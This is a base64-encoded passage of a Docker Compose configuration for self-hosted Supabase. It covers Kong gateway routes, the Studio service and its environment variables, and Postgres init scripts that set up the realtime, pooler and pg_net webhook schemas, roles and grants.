wOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMTIuMTctc2hhLTQzZjRmN2YnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG